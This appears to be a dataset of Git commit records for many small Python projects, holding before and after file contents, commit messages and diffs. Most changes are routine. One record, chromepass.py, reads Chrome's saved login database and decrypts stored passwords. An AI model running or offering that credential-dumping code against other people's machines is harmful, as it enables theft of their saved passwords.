caddef7500241135965e6d91ca94a38224bfd0cd | ui2/path_helpers.py | ui2/path_helpers.py | import ui
def get_path_image(path):
""" Get an image of a path """
bounds = path.bounds
with ui.ImageContext(bounds.max_x, bounds.max_y) as ctx:
path.fill()
return ctx.get_image()
def copy_path(path):
""" Make a copy of a ui.Path and return it. Preserves all data. """
new = ui.Pa... | import ui
import objc_util
def get_path_image(path):
""" Get an image of a path """
bounds = path.bounds
with ui.ImageContext(bounds.max_x, bounds.max_y) as ctx:
path.fill()
return ctx.get_image()
def copy_path(path):
""" Make a copy of a ui.Path and return it. Preserves all data. ""... | Add method for scaling path | Add method for scaling path
| Python | mit | controversial/ui2 | ---
+++
@@ -1,4 +1,5 @@
import ui
+import objc_util
def get_path_image(path):
@@ -19,3 +20,18 @@
new.line_width = path.line_width
return new
+
+
+def scale_path(path, scale):
+ """ Stretch or scale a path. Pass either a scale or a tuple of scales """
+ if not hasattr(scale, "__iter__"):
+ ... |
e3604b5f0cdae3889cfe7531f7a5b9d1c09f56bd | PrettyJson.py | PrettyJson.py | import sublime
import sublime_plugin
import json
s = sublime.load_settings("Pretty JSON.sublime-settings")
class PrettyjsonCommand(sublime_plugin.TextCommand):
""" Pretty Print JSON
"""
def run(self, edit):
for region in self.view.sel():
# If no selection, use the entire file as the s... | import sublime
import sublime_plugin
import json
s = sublime.load_settings("Pretty JSON.sublime-settings")
class PrettyjsonCommand(sublime_plugin.TextCommand):
""" Pretty Print JSON
"""
def run(self, edit):
for region in self.view.sel():
# If no selection, use the entire file as the s... | Configure json.dumps() to use an item separator of "," instead of the default ", " to prevent single whitespace at the end of lines. | Configure json.dumps() to use an item separator of "," instead of the default ", " to prevent single whitespace at the end of lines.
Without this option, all prettyfied JSON has one space at the end of each line, which is not so pretty:
{
"key": "value",_
"key": "value",_
"key": "value"
}
This could ... | Python | mit | dzhibas/SublimePrettyJson | ---
+++
@@ -18,6 +18,6 @@
try:
obj = json.loads(self.view.substr(selection))
- self.view.replace(edit, selection, json.dumps(obj, indent=s.get("indent_size", 4), ensure_ascii=False, sort_keys=s.get("sort_keys", True)))
+ self.view.replace(edit, selection, ... |
fb67b85938d15cbb503bc0a0b0fde3bfb3436137 | src/server.py | src/server.py | import argparse
import logging
import timeit
import cv2
from util import Action
from game import GameEnvironment
def main(args):
if args.debug_frames:
cv2.namedWindow('debug-frames')
prev_score = 0
game = GameEnvironment(args.agent)
while True:
start = timeit.default_timer()
... | import argparse
import logging
import timeit
import cv2
from util import Action
from game import GameEnvironment
def main(args):
if args.debug_frames:
cv2.namedWindow('debug-frames')
prev_score = 0
game = GameEnvironment(args.agent, host=args.host, port=args.port)
while True:
start ... | Add --host and --port flags | Add --host and --port flags
| Python | mit | matthiasplappert/pibot | ---
+++
@@ -13,7 +13,7 @@
cv2.namedWindow('debug-frames')
prev_score = 0
- game = GameEnvironment(args.agent)
+ game = GameEnvironment(args.agent, host=args.host, port=args.port)
while True:
start = timeit.default_timer()
frame, reward, terminal, lives = game.step(Action.I... |
cdb7dfd529f4078ab5995e38a8ae2f3b61c3fe98 | tests/__init__.py | tests/__init__.py | # tests.__init__
import os
import os.path
import shutil
import tempfile
import yvs.shared as yvs
from mock import patch
temp_dir = tempfile.gettempdir()
local_data_dir_patcher = patch(
'yvs.shared.LOCAL_DATA_DIR_PATH',
os.path.join(temp_dir, 'yvs-data'))
local_cache_dir_patcher = patch(
'yvs.shared.LOCA... | # tests.__init__
import os
import os.path
import shutil
import tempfile
from mock import patch
import yvs.shared as yvs
temp_dir = tempfile.gettempdir()
local_data_dir_patcher = patch(
'yvs.shared.LOCAL_DATA_DIR_PATH',
os.path.join(temp_dir, 'yvs-data'))
local_cache_dir_patcher = patch(
'yvs.shared.LOCA... | Correct import order in tests init file | Correct import order in tests init file
| Python | mit | caleb531/youversion-suggest,caleb531/youversion-suggest | ---
+++
@@ -5,9 +5,9 @@
import shutil
import tempfile
-import yvs.shared as yvs
from mock import patch
+import yvs.shared as yvs
temp_dir = tempfile.gettempdir()
local_data_dir_patcher = patch( |
f2dc9b260e6ca1fcf46b9f23fad5478ab7ff28f8 | ce/expr/common.py | ce/expr/common.py | #!/usr/bin/env python
# vim: set fileencoding=UTF-8 :
from __future__ import print_function
ADD_OP = '+'
MULTIPLY_OP = '*'
OPERATORS = [ADD_OP, MULTIPLY_OP]
_cache_map = dict()
def cached(f):
def decorated(*args, **kwargs):
key = (f, tuple(args), tuple(kwargs.items()))
if key in _cache_map:... | #!/usr/bin/env python
# vim: set fileencoding=UTF-8 :
from __future__ import print_function
ADD_OP = '+'
MULTIPLY_OP = '*'
OPERATORS = [ADD_OP, MULTIPLY_OP]
def to_immutable(*m):
def r(d):
if isinstance(d, dict):
return tuple((e, to_immutable(v)) for e, v in d.iteritems())
if isin... | Fix dict argument not hashable | Fix dict argument not hashable
| Python | mit | admk/soap | ---
+++
@@ -11,12 +11,22 @@
OPERATORS = [ADD_OP, MULTIPLY_OP]
+def to_immutable(*m):
+ def r(d):
+ if isinstance(d, dict):
+ return tuple((e, to_immutable(v)) for e, v in d.iteritems())
+ if isinstance(d, (list, tuple)):
+ return tuple(to_immutable(e) for e in d)
+ r... |
f256fc04361dc1a0e57c2a17d2216eadee03f987 | test_pytnt.py | test_pytnt.py | # -*- coding: utf-8 -*-
"""
Created on Mon Sep 30 20:22:29 2013
@author: chris
Test script for the pytnt project
"""
import unittest
from numpy.testing import assert_allclose
from processTNT import TNTfile
class TestLoadFile(unittest.TestCase):
"""Tests that pytnt can load files"""
def test_loa... | # -*- coding: utf-8 -*-
"""
Created on Mon Sep 30 20:22:29 2013
@author: chris
Test script for the pytnt project
"""
import unittest
import numpy as np
from numpy.testing import assert_allclose
from processTNT import TNTfile
class TestLoadFile(unittest.TestCase):
"""Tests that pytnt can load files"""
... | Use the phase from the pre-FT'd file for the test FT | Use the phase from the pre-FT'd file for the test FT
| Python | bsd-3-clause | chatcannon/pytnt,chatcannon/pytnt | ---
+++
@@ -9,6 +9,7 @@
import unittest
+import numpy as np
from numpy.testing import assert_allclose
from processTNT import TNTfile
@@ -41,8 +42,9 @@
freq_domain = TNTfile("testdata/LiCl_ref1-ftp.tnt")
lb = freq_domain.TMG2['linebrd'][0, 0]
+ ph0 = freq_domain.TMG2['cumm_0... |
21df4ca35588993b00e610523f264be51e631b77 | classifier/run.py | classifier/run.py | import time
from clean_tweet import TweetClassifier as TC
from gather_data import GatherData
def run_test(val, expected):
print "{0} (exp {1}) >> {2}".format(t.predict(val), expected, val)
# Start by gathering some data
g = GatherData()
g.gather_tweets()
g.write_tweets("train_data.txt")
time.sleep(3)
g.gather_... | import os
import shutil
import time
from clean_tweet import TweetClassifier as TC
from gather_data import GatherData
def run_test(val, expected):
print "{0} (exp {1}) >> {2}".format(t.predict(val), expected, val)
# Start by gathering some data.
g = GatherData()
# If we have an existing training set, this becom... | Copy over train to new test data | Copy over train to new test data
| Python | mit | will-hart/twitter_sentiment,will-hart/twitter_sentiment | ---
+++
@@ -1,3 +1,5 @@
+import os
+import shutil
import time
from clean_tweet import TweetClassifier as TC
@@ -7,20 +9,31 @@
def run_test(val, expected):
print "{0} (exp {1}) >> {2}".format(t.predict(val), expected, val)
-# Start by gathering some data
+# Start by gathering some data.
g = GatherData()
+... |
773f78ae283a062818394743dea4535456ac9aeb | ckanext/qa/lib.py | ckanext/qa/lib.py | import json
import ckan.model as model
import ckan.plugins as p
def get_site_url(config):
return config.get('ckan.site_url_internally') or config['ckan.site_url']
def get_user_and_context(site_url):
user = p.toolkit.get_action('get_site_user')(
{'model': model, 'ignore_auth': True}, {}
)
... | import json
import ckan.model as model
import ckan.plugins as p
def get_site_url(config):
return config.get('ckan.site_url_internally') or config['ckan.site_url']
def get_user_and_context(site_url):
user = p.toolkit.get_action('get_site_user')(
{'model': model, 'ignore_auth': True, 'defer_commit': Tr... | Fix for getting site_user the first time. (A commit herecauses problems during a db write notification. Spotted when harvesting) | [1268] Fix for getting site_user the first time. (A commit herecauses problems during a db write notification. Spotted when harvesting)
| Python | mit | ckan/ckanext-qa,ckan/ckanext-qa,ckan/ckanext-qa | ---
+++
@@ -8,7 +8,7 @@
def get_user_and_context(site_url):
user = p.toolkit.get_action('get_site_user')(
- {'model': model, 'ignore_auth': True}, {}
+ {'model': model, 'ignore_auth': True, 'defer_commit': True}, {}
)
context = json.dumps({
'site_url': site_url, |
8f11df0dce9da94d197793bccd4a34e33e78b377 | clean_packages.py | clean_packages.py | #!/usr/bin/python2
# -*- coding: utf-8 -*-
import os
import requests
token = os.getenv("PACKAGECLOUD_TOKEN")
repository = "jollheef/henhouse"
api_url = "https://%s:@packagecloud.io/api/v1/repos/%s/" % (token, repository)
name = 'henhouse'
def delete_package(filename):
response = requests.delete(api_url+filename)... | #!/usr/bin/python2
# -*- coding: utf-8 -*-
import os
import requests
token = os.getenv("PACKAGECLOUD_TOKEN")
repository = "jollheef/henhouse"
api_url = "https://%s:@packagecloud.io/api/v1/repos/%s/" % (token, repository)
name = 'henhouse'
def delete_package(filename):
response = requests.delete(api_url+filename)... | Save only 3 packages instead of 10 | Save only 3 packages instead of 10
| Python | agpl-3.0 | jollheef/henhouse,jollheef/henhouse,jollheef/henhouse,jollheef/henhouse | ---
+++
@@ -15,6 +15,6 @@
packages = requests.get(api_url+"/packages.json").json()
-for pkg in packages[:-9]:
+for pkg in packages[:-2]:
if pkg['name'] == name:
delete_package(pkg['distro_version']+"/"+pkg['filename']) |
4ab06b1a8298656af5d0eee6587ff4ab63282901 | nbrmd/__init__.py | nbrmd/__init__.py | """R markdown notebook format for Jupyter
Use this module to read or write Jupyter notebooks as Rmd documents (methods 'read', 'reads', 'write', 'writes')
Use the 'pre_save_hook' method (see its documentation) to automatically dump your Jupyter notebooks as a Rmd file, in addition
to the ipynb file.
Use the 'nbrmd' ... | """R markdown notebook format for Jupyter
Use this module to read or write Jupyter notebooks as Rmd documents (methods 'read', 'reads', 'write', 'writes')
Use the 'pre_save_hook' method (see its documentation) to automatically dump your Jupyter notebooks as a Rmd file, in addition
to the ipynb file.
Use the 'nbrmd' ... | Save error message when cm not imported | Save error message when cm not imported
| Python | mit | mwouts/jupytext,mwouts/jupytext,mwouts/jupytext,mwouts/jupytext,mwouts/jupytext,mwouts/jupytext,mwouts/jupytext,mwouts/jupytext,mwouts/jupytext,mwouts/jupytext | ---
+++
@@ -13,4 +13,4 @@
try:
from .cm import RmdFileContentsManager
except ImportError as e:
- RmdFileContentsManager = e.message
+ RmdFileContentsManager = str(e) |
85ca1534dc5d1f9b45cfec27d247f0932b2d7c52 | plugin/build.py | plugin/build.py | # The source code is compiled into a Roblox Model right into the plugins folder.
#
# Simply run `python build.py` and everything will be taken care of. You can
# then load up any game and test out the plugin.
import os
import os.path
from elixir.compilers import ModelCompiler
local_app_data = os.environ["LocalAppDat... | # The source code is compiled into a Roblox Model right into the plugins folder.
#
# Simply run `python build.py` and everything will be taken care of. You can
# then load up any game and test out the plugin.
import os
import os.path
from elixir.compilers import ModelCompiler
local_app_data = os.environ["LocalAppDat... | Allow the plugin to be compiled from anywhere | Allow the plugin to be compiled from anywhere
Because we were only using "src/" as the path, running build.py from anywhere but the 'plugin' would cause it to fail to locate the directory.
We're now using a path relative to the file, so it isn't dependant on where the file is called from.
| Python | mit | vocksel/studio-bridge-cli | ---
+++
@@ -12,4 +12,6 @@
plugins_folder = os.path.join(local_app_data, "Roblox/Plugins")
plugin = os.path.join(plugins_folder, "StudioBridge.rbxmx")
-ModelCompiler("src/", plugin).compile()
+parent_dir = os.path.dirname(__file__)
+
+ModelCompiler(os.path.join(parent_dir, "src/"), plugin).compile() |
f44ac32bc9060cfa5ea6ce4284ce7f15b466be28 | openedx/core/release.py | openedx/core/release.py | """
Information about the release line of this Open edX code.
"""
# The release line: an Open edX release name ("ficus"), or "master".
# This should always be "master" on the master branch, and will be changed
# manually when we start release-line branches, like open-release/ficus.master.
RELEASE_LINE = "master"
def... | """
Information about the release line of this Open edX code.
"""
# The release line: an Open edX release name ("ficus"), or "master".
# This should always be "master" on the master branch, and will be changed
# manually when we start release-line branches, like open-release/ficus.master.
RELEASE_LINE = "hawthorn"
d... | Set the RELEASE_LINE to hawthorn | Set the RELEASE_LINE to hawthorn
| Python | agpl-3.0 | appsembler/edx-platform,BehavioralInsightsTeam/edx-platform,appsembler/edx-platform,kmoocdev2/edx-platform,gymnasium/edx-platform,gsehub/edx-platform,gymnasium/edx-platform,Edraak/edraak-platform,Edraak/edraak-platform,BehavioralInsightsTeam/edx-platform,kmoocdev2/edx-platform,CredoReference/edx-platform,Edraak/edraak-... | ---
+++
@@ -5,7 +5,7 @@
# The release line: an Open edX release name ("ficus"), or "master".
# This should always be "master" on the master branch, and will be changed
# manually when we start release-line branches, like open-release/ficus.master.
-RELEASE_LINE = "master"
+RELEASE_LINE = "hawthorn"
def doc_ve... |
cf336ac17ba194066517ab93ea7079415adba0c2 | sum.py | sum.py | import sublime, sublime_plugin
class SumCommand(sublime_plugin.TextCommand):
def run(self, edit):
sum_view = self.view.window().new_file()
sum_view.set_name('Sum')
file_text = self.view.substr(sublime.Region(0, self.view.size()))
sum_view.insert(edit, 0, file_text)
sum_vie... | import sublime, sublime_plugin
class SumCommand(sublime_plugin.TextCommand):
def run(self, edit):
sum_view = self.view.window().new_file()
sum_view.set_name('Sum')
file_text = self.view.substr(sublime.Region(0, self.view.size()))
numbers = []
for s in file_text.split():
... | Add up all ints (base 10) and floats in the file | Add up all ints (base 10) and floats in the file
| Python | mit | jbrudvik/sublime-sum,jbrudvik/sublime-sum | ---
+++
@@ -6,7 +6,19 @@
sum_view.set_name('Sum')
file_text = self.view.substr(sublime.Region(0, self.view.size()))
- sum_view.insert(edit, 0, file_text)
+
+ numbers = []
+ for s in file_text.split():
+ if s.isdigit():
+ numbers.append(int(s))
+ ... |
4f6ab3cf6effd2a7e05c56535c426f33e689f627 | chromepass.py | chromepass.py | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
if appdata[-7:] == "Roaming": #Some WINDOWS Installations point to Roaming.
appdata = appdata[:-8]
connection = sqlite3.connect(appdata + "\Local\Google\Chrome\\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execut... | Make Python3 friendly. Add appdata check and fix. | Make Python3 friendly. Add appdata check and fix.
Confirmed working on Windows 7 Python 3.4 Installation Now :D | Python | mit | hassaanaliw/chromepass | ---
+++
@@ -3,7 +3,9 @@
import win32crypt
appdata = getenv("APPDATA")
-connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
+if appdata[-7:] == "Roaming": #Some WINDOWS Installations point to Roaming.
+ appdata = appdata[:-8]
+connection = sqlite3.connect(appdata + "\Loc... |
89762635e5772376e191825aeb6f6b8d6f530792 | markovsecrets/process/get_secret.py | markovsecrets/process/get_secret.py | import os
import json
from random import randrange, seed, sample
MAX_LEN = 50
def shift(s, new):
space = s.find(' ')
if space == -1:
raise Exception('bad shift string ' + s)
return s[space+1:] + ' ' + new
def main():
getw = lambda arr: sample(arr, 1)[0]
words = {}
starters = 0
... | import os
import json
from random import randrange, seed, sample
MAX_LEN = 75
def shift(s, new):
space = s.find(' ')
if space == -1:
raise Exception('bad shift string ' + s)
return s[space+1:] + ' ' + new
def main():
getw = lambda arr: sample(arr, 1)[0]
words = {}
starters = 0
... | Raise word limit by 50% | Raise word limit by 50%
| Python | mit | oychang/Markovsecrets,oychang/Markovsecrets | ---
+++
@@ -2,7 +2,7 @@
import json
from random import randrange, seed, sample
-MAX_LEN = 50
+MAX_LEN = 75
def shift(s, new): |
fd85d735e1b4fafba470c91846faa23393cc26f7 | simple_model/exceptions.py | simple_model/exceptions.py | class ValidationError(Exception):
pass
class EmptyField(ValidationError):
def __init__(self, field_name):
self.field_name = field_name
def __str__(self) -> str:
return '{} field cannot be empty'.format(self.field_name)
| class ValidationError(Exception):
pass
class EmptyField(ValidationError):
def __init__(self, field_name):
self.field_name = field_name
def __str__(self) -> str:
return '{!r} field cannot be empty'.format(self.field_name)
| Improve EmptyField exception string representation | Improve EmptyField exception string representation
| Python | mit | lamenezes/simple-model | ---
+++
@@ -7,4 +7,4 @@
self.field_name = field_name
def __str__(self) -> str:
- return '{} field cannot be empty'.format(self.field_name)
+ return '{!r} field cannot be empty'.format(self.field_name) |
66ed7a95dff156ff8083ea9f0651a8b1d436c25e | kokki/cookbooks/busket/recipes/default.py | kokki/cookbooks/busket/recipes/default.py |
import os
from kokki import *
Package("erlang")
# ubuntu's erlang is a bit messed up.. remove the man link
File("/usr/lib/erlang/man",
action = "delete")
# Package("mercurial",
# provider = "kokki.providers.package.easy_install.EasyInstallProvider")
command = os.path.join(env.config.busket.path, "bin", "bus... |
import os
from kokki import *
Package("erlang")
# ubuntu's erlang is a bit messed up.. remove the man link
File("/usr/lib/erlang/man",
action = "delete")
# Package("mercurial",
# provider = "kokki.providers.package.easy_install.EasyInstallProvider")
command = os.path.join(env.config.busket.path, "bin", "bus... | Make sure HOME is set when installing busket. Erlang requires it | Make sure HOME is set when installing busket. Erlang requires it
| Python | bsd-3-clause | samuel/kokki | ---
+++
@@ -25,6 +25,8 @@
code = (
"git clone git://github.com/samuel/busket.git busket\n"
"cd busket\n"
+ "mkdir /tmp/erlhome\n"
+ "export HOME=/tmp/erlhome\n"
"make release\n"
"mv rel/busket {install_path}\n"
).format(install_path=env.config.busket.path), |
ad1b7cb8dda0dc2565aab6cd8c6a392753682875 | wapiti/helpers.py | wapiti/helpers.py | # Copyright (c) Ecometrica. All rights reserved.
# Distributed under the BSD license. See LICENSE for details.
from collections import namedtuple
from decorator import decorator
from functools import wraps
from django.db.models import get_apps
from piston.utils import rc
from wapiti.conf import ID_RE
_RegisteredType... | # Copyright (c) Ecometrica. All rights reserved.
# Distributed under the BSD license. See LICENSE for details.
from collections import namedtuple
from decorator import decorator
from functools import wraps
from django.db.models import get_apps
from piston.utils import rc
from wapiti.conf import ID_RE
_RegisteredType... | Check for the existence of model.objects without calling it; may fix some weird buggy behaviour involving database migrations. | Check for the existence of model.objects without calling it; may fix some weird buggy behaviour involving database migrations.
| Python | bsd-3-clause | ecometrica/django-wapiti | ---
+++
@@ -18,7 +18,7 @@
global _registered_types
if modelapi.__name__ in _registered_types:
return
- if not modelapi.objects:
+ if not hasattr(modelapi, 'objects'):
modelapi.objects = modelapi.model.objects
_registered_types[name] = _RegisteredType(api=modelapi) |
b2b1443753894ccb4835b8667b63d95ee7a1303f | Functions/echo-python/lambda_function.py | Functions/echo-python/lambda_function.py | """Created By: Andrew Ryan DeFilippis"""
print('Lambda cold-start...')
from json import dumps, loads
def lambda_handler(event, context):
print('LOG RequestId: {}\tResponse:\n\n{}'.format(
context.aws_request_id,
dumps(event, indent=4)
))
return event
# Comment or remove everything bel... | """Created By: Andrew Ryan DeFilippis"""
print('Lambda cold-start...')
from json import dumps, loads
# Disable 'testing_locally' when deploying to AWS Lambda
testing_locally = False
verbose = False
class CWLogs(object):
def __init__(self, context):
self.context = context
def event(self, message, ... | Update the echo Function to be similar to the template Function | Update the echo Function to be similar to the template Function
| Python | apache-2.0 | andrewdefilippis/aws-lambda | ---
+++
@@ -5,30 +5,41 @@
from json import dumps, loads
+# Disable 'testing_locally' when deploying to AWS Lambda
+testing_locally = False
+verbose = False
+
+
+class CWLogs(object):
+ def __init__(self, context):
+ self.context = context
+
+ def event(self, message, event_prefix='LOG'):
+ pr... |
ff9049b23f12e67367798644eb3b5a8643ab7c31 | wsgi_server.py | wsgi_server.py | from urlparse import parse_qs
import DQXUtils
import simplejson
import responders
def application(environ, start_response):
returndata = dict((k,v[0]) for k,v in parse_qs(environ['QUERY_STRING']).items())
request_type = returndata['datatype']
tm = DQXUtils.Timer()
try:
resp_func =... | from urlparse import parse_qs
import DQXUtils
import simplejson
import responders
def application(environ, start_response):
returndata = dict((k,v[0]) for k,v in parse_qs(environ['QUERY_STRING']).items())
request_type = returndata['datatype']
tm = DQXUtils.Timer()
try:
resp_func =... | Add use_decimal=True for json encoding | Add use_decimal=True for json encoding
| Python | agpl-3.0 | cggh/DQXServer | ---
+++
@@ -24,7 +24,7 @@
for item in response:
yield item
else:#respond to any other event with json
- response = simplejson.dumps(response)
+ response = simplejson.dumps(response, use_decimal=True)
status = '200 OK'
response_headers = [('Content-type', 'app... |
cca6a727063c63d78d61ee81c892811238139462 | lame_test.py | lame_test.py | # Just barely tests things to make sure they work
from uwaterlooapi import UWaterlooAPI; api = UWaterlooAPI(api_key='fda8e642f9c9480800e8c02896744288')
exclude = ['api_key', 'base_url']
for attr in dir(api):
if attr.startswith("_"): continue
if attr in exclude: continue
f = getattr(api, attr)
print a... | # Just barely tests things to make sure they work
import datetime
from uwaterlooapi import UWaterlooAPI; api = UWaterlooAPI(api_key='fda8e642f9c9480800e8c02896744288')
exclude = ['api_key', 'base_url']
dates = (datetime.datetime.now().year, datetime.datetime.now().date().isocalendar()[1])
args_map = {
'announ... | Update lame test to test on multiple parameters. | Update lame test to test on multiple parameters.
| Python | mit | albertoconnor/uwaterlooapi | ---
+++
@@ -1,15 +1,41 @@
# Just barely tests things to make sure they work
+import datetime
from uwaterlooapi import UWaterlooAPI; api = UWaterlooAPI(api_key='fda8e642f9c9480800e8c02896744288')
exclude = ['api_key', 'base_url']
+
+dates = (datetime.datetime.now().year, datetime.datetime.now().date().isocale... |
44e8f8db3e39d083de74e4534403e327cb5d389a | alexandria/__init__.py | alexandria/__init__.py | import logging
log = logging.getLogger(__name__)
from pyramid.config import Configurator
from sqlalchemy import engine_from_config
from .models import DBSession
required_settings = [
'pyramid.secret.session',
'pyramid.secret.auth',
]
def main(global_config, **settings):
""" This function... | import logging
log = logging.getLogger(__name__)
from pyramid.config import Configurator
from sqlalchemy import engine_from_config
from .models import DBSession
required_settings = [
'pyramid.secret.session',
'pyramid.secret.auth',
]
def main(global_config, **settings):
""" This function... | Make sure to use the Pyramid transaction manager | Make sure to use the Pyramid transaction manager
| Python | isc | cdunklau/alexandria,cdunklau/alexandria,bertjwregeer/alexandria,cdunklau/alexandria,bertjwregeer/alexandria | ---
+++
@@ -29,6 +29,8 @@
log.error('Unable to start due to missing configuration')
exit(-1)
+ # Include the transaction manager
+ config.include('pyramid_tm')
config.add_static_view('static', 'static', cache_max_age=3600)
|
cc43b4f14706027c0bd0c15e1467d5df586faff8 | shoop/front/apps/simple_order_notification/templates.py | shoop/front/apps/simple_order_notification/templates.py | # -*- coding: utf-8 -*-
# This file is part of Shoop.
#
# Copyright (c) 2012-2016, Shoop Ltd. All rights reserved.
#
# This source code is licensed under the AGPLv3 license found in the
# LICENSE file in the root directory of this source tree.
MESSAGE_SUBJECT_TEMPLATE = "{{ order.shop }} - Order {{ order.identifier }}... | # -*- coding: utf-8 -*-
# This file is part of Shoop.
#
# Copyright (c) 2012-2016, Shoop Ltd. All rights reserved.
#
# This source code is licensed under the AGPLv3 license found in the
# LICENSE file in the root directory of this source tree.
MESSAGE_SUBJECT_TEMPLATE = "{{ order.shop }} - Order {{ order.identifier }}... | Remove price check from order email template | Remove price check from order email template
For some reason, only lines with prices were rendered in the email. Changed
this so that the free lines (from campaigns) are shown also.
No ref
| Python | agpl-3.0 | shawnadelic/shuup,shawnadelic/shuup,suutari/shoop,suutari-ai/shoop,suutari/shoop,hrayr-artunyan/shuup,shoopio/shoop,suutari/shoop,shoopio/shoop,shoopio/shoop,suutari-ai/shoop,suutari-ai/shoop,hrayr-artunyan/shuup,hrayr-artunyan/shuup,shawnadelic/shuup | ---
+++
@@ -15,9 +15,7 @@
For reference, here's a list of your order's contents.
{% for line in order.lines.all() %}
-{%- if line.taxful_price %}
* {{ line.quantity }} x {{ line.text }} - {{ line.taxful_price|money }}
-{% endif -%}
{%- endfor %}
Order Total: {{ order.taxful_total_price|money }} |
c16e2fed1b64c2d875c99940912e2aa3e5d6c33f | polyaxon/auditor/service.py | polyaxon/auditor/service.py | import tracker
from auditor.manager import default_manager
from event_manager.event_service import EventService
class AuditorService(EventService):
"""An service that just passes the event to author services."""
event_manager = default_manager
def get_event(self, event_type, instance, **kwargs):
... | import auditor
import tracker
from auditor.manager import default_manager
from event_manager.event_service import EventService
class AuditorService(EventService):
"""An service that just passes the event to author services."""
event_manager = default_manager
def get_event(self, event_type, instance, **... | Add activity logs to auditor tracking | Add activity logs to auditor tracking
| Python | apache-2.0 | polyaxon/polyaxon,polyaxon/polyaxon,polyaxon/polyaxon | ---
+++
@@ -1,3 +1,4 @@
+import auditor
import tracker
from auditor.manager import default_manager
@@ -20,6 +21,9 @@
tracker.record(event_type=event['event_type'],
instance=event['instance'],
**event['kwargs'])
+ auditor.record(event_type=event['even... |
61394aec9d2193a978a0754bb43f70d1f66262d4 | django_json_widget/widgets.py | django_json_widget/widgets.py | import json
from builtins import super
from django import forms
from django.templatetags.static import static
class JSONEditorWidget(forms.Widget):
class Media:
css = {'all': (static('dist/jsoneditor.min.css'), )}
js = (static('dist/jsoneditor.min.js'),)
template_name = 'django_json_widget.h... | import json
from builtins import super
from django import forms
class JSONEditorWidget(forms.Widget):
class Media:
css = {'all': ('dist/jsoneditor.min.css', )}
js = ('dist/jsoneditor.min.js',)
template_name = 'django_json_widget.html'
def __init__(self, attrs=None, mode='code', options=... | Stop resolving paths to the static files. | Stop resolving paths to the static files.
Fixed #33 | Python | mit | jmrivas86/django-json-widget,jmrivas86/django-json-widget | ---
+++
@@ -2,13 +2,12 @@
from builtins import super
from django import forms
-from django.templatetags.static import static
class JSONEditorWidget(forms.Widget):
class Media:
- css = {'all': (static('dist/jsoneditor.min.css'), )}
- js = (static('dist/jsoneditor.min.js'),)
+ css = {... |
d309fba3d07b3122bdb05d511968b53f1c59b357 | opps/images/widgets.py | opps/images/widgets.py | from django import forms
from django.conf import settings
from django.template.loader import render_to_string
class MultipleUpload(forms.FileInput):
def render(self, name, value, attrs=None):
_value = ""
if value:
_value = "{0}{1}".format(settings.MEDIA_URL, value)
return rend... | from django import forms
from django.conf import settings
from django.template.loader import render_to_string
class MultipleUpload(forms.FileInput):
def render(self, name, value, attrs=None):
_value = ""
if value:
_value = "{0}{1}".format(settings.MEDIA_URL, value)
return rende... | Fix bug on images widget CropExample | Fix bug on images widget CropExample
| Python | mit | williamroot/opps,opps/opps,jeanmask/opps,YACOWS/opps,jeanmask/opps,YACOWS/opps,YACOWS/opps,williamroot/opps,opps/opps,opps/opps,williamroot/opps,williamroot/opps,jeanmask/opps,jeanmask/opps,opps/opps,YACOWS/opps | ---
+++
@@ -4,7 +4,6 @@
class MultipleUpload(forms.FileInput):
-
def render(self, name, value, attrs=None):
_value = ""
if value:
@@ -15,10 +14,7 @@
class CropExample(forms.TextInput):
-
def render(self, name, value, attrs=None):
- if u'http' not in value:
- val... |
ccb9e3d0fca96b853cabe0c9569dda1414409618 | enactiveagents/model/perceptionhandler.py | enactiveagents/model/perceptionhandler.py | """
Module that holds classes that represent an agent's perception handler.
"""
import abc
import world
import structure
class PerceptionHandler(object):
"""
Abstract perception handler class.
"""
@abc.abstractmethod
def perceive(self, agent, world):
"""
Generates a percept given ... | """
Module that holds classes that represent an agent's perception handler.
"""
import abc
import world
import agent
import structure
class PerceptionHandler(object):
"""
Abstract perception handler class.
"""
@abc.abstractmethod
def perceive(self, agent, world):
"""
Generates a p... | Make agents able to see each other. | Make agents able to see each other.
| Python | mit | Beskhue/enactive-agents,Beskhue/enactive-agents,Beskhue/enactive-agents | ---
+++
@@ -4,6 +4,7 @@
import abc
import world
+import agent
import structure
class PerceptionHandler(object):
@@ -47,7 +48,9 @@
for entity in entities:
if entity == agent_:
continue
- if isinstance(entity, structure.Wall):
+ if... |
061872f2a89656250a1de32338663ebd6900b602 | scripts/filter-pyvcf.py | scripts/filter-pyvcf.py | import sys
from vcf import Reader
import gzip
vcf = Reader(open(sys.argv[1], 'r'))
n = 0
for v in vcf:
if len(v.ALT) > 1: continue
if v.QUAL < 20: continue
if v.aaf[0] > 0.05: continue
n += 1
print(n)
| import sys
from vcf import Reader
import gzip
vcf = Reader(open(sys.argv[1], 'rb'))
n = 0
for v in vcf:
if len(v.ALT) > 1: continue
if v.QUAL < 20: continue
if v.aaf[0] > 0.05: continue
n += 1
print(n)
| Fix error while running compare.sh | Fix error while running compare.sh
bash compare.sh
#pyvcf
Traceback (most recent call last):
File "filter-pyvcf.py", line 5, in <module>
vcf = Reader(open(sys.argv[1], 'rt'))
File "/home/raony/.virtualenvs/cuvcf2/lib/python3.5/site-packages/vcf/parser.py", line 300, in __init__
self._parse_metainfo(... | Python | mit | brentp/cyvcf2,brentp/cyvcf2,brentp/cyvcf2 | ---
+++
@@ -2,7 +2,7 @@
from vcf import Reader
import gzip
-vcf = Reader(open(sys.argv[1], 'r'))
+vcf = Reader(open(sys.argv[1], 'rb'))
n = 0
for v in vcf: |
2c83c171a8594f708e3a12c0435c7d0aa20d68ad | scripts/iface-choice.py | scripts/iface-choice.py | #apt-get install python-pip
#pip install netifaces
import netifaces
def select_iface(iface):
try:
iface = int(iface)
if(iface < 0):
raise IndexError
return netifaces.interfaces()[iface]
except IndexError:
print "Number provided was too big or small"
return []... | #apt-get install python-pip
#pip install netifaces
import netifaces
def select_iface(iface):
try:
iface = int(iface)
if(iface < 0):
raise IndexError
return netifaces.interfaces()[iface]
except IndexError:
print "Number provided was too big or small"
return []... | Write iface choice to file | Write iface choice to file
This seems unnecessary but I can't see a way to pass a string back from python, because of the prompt.
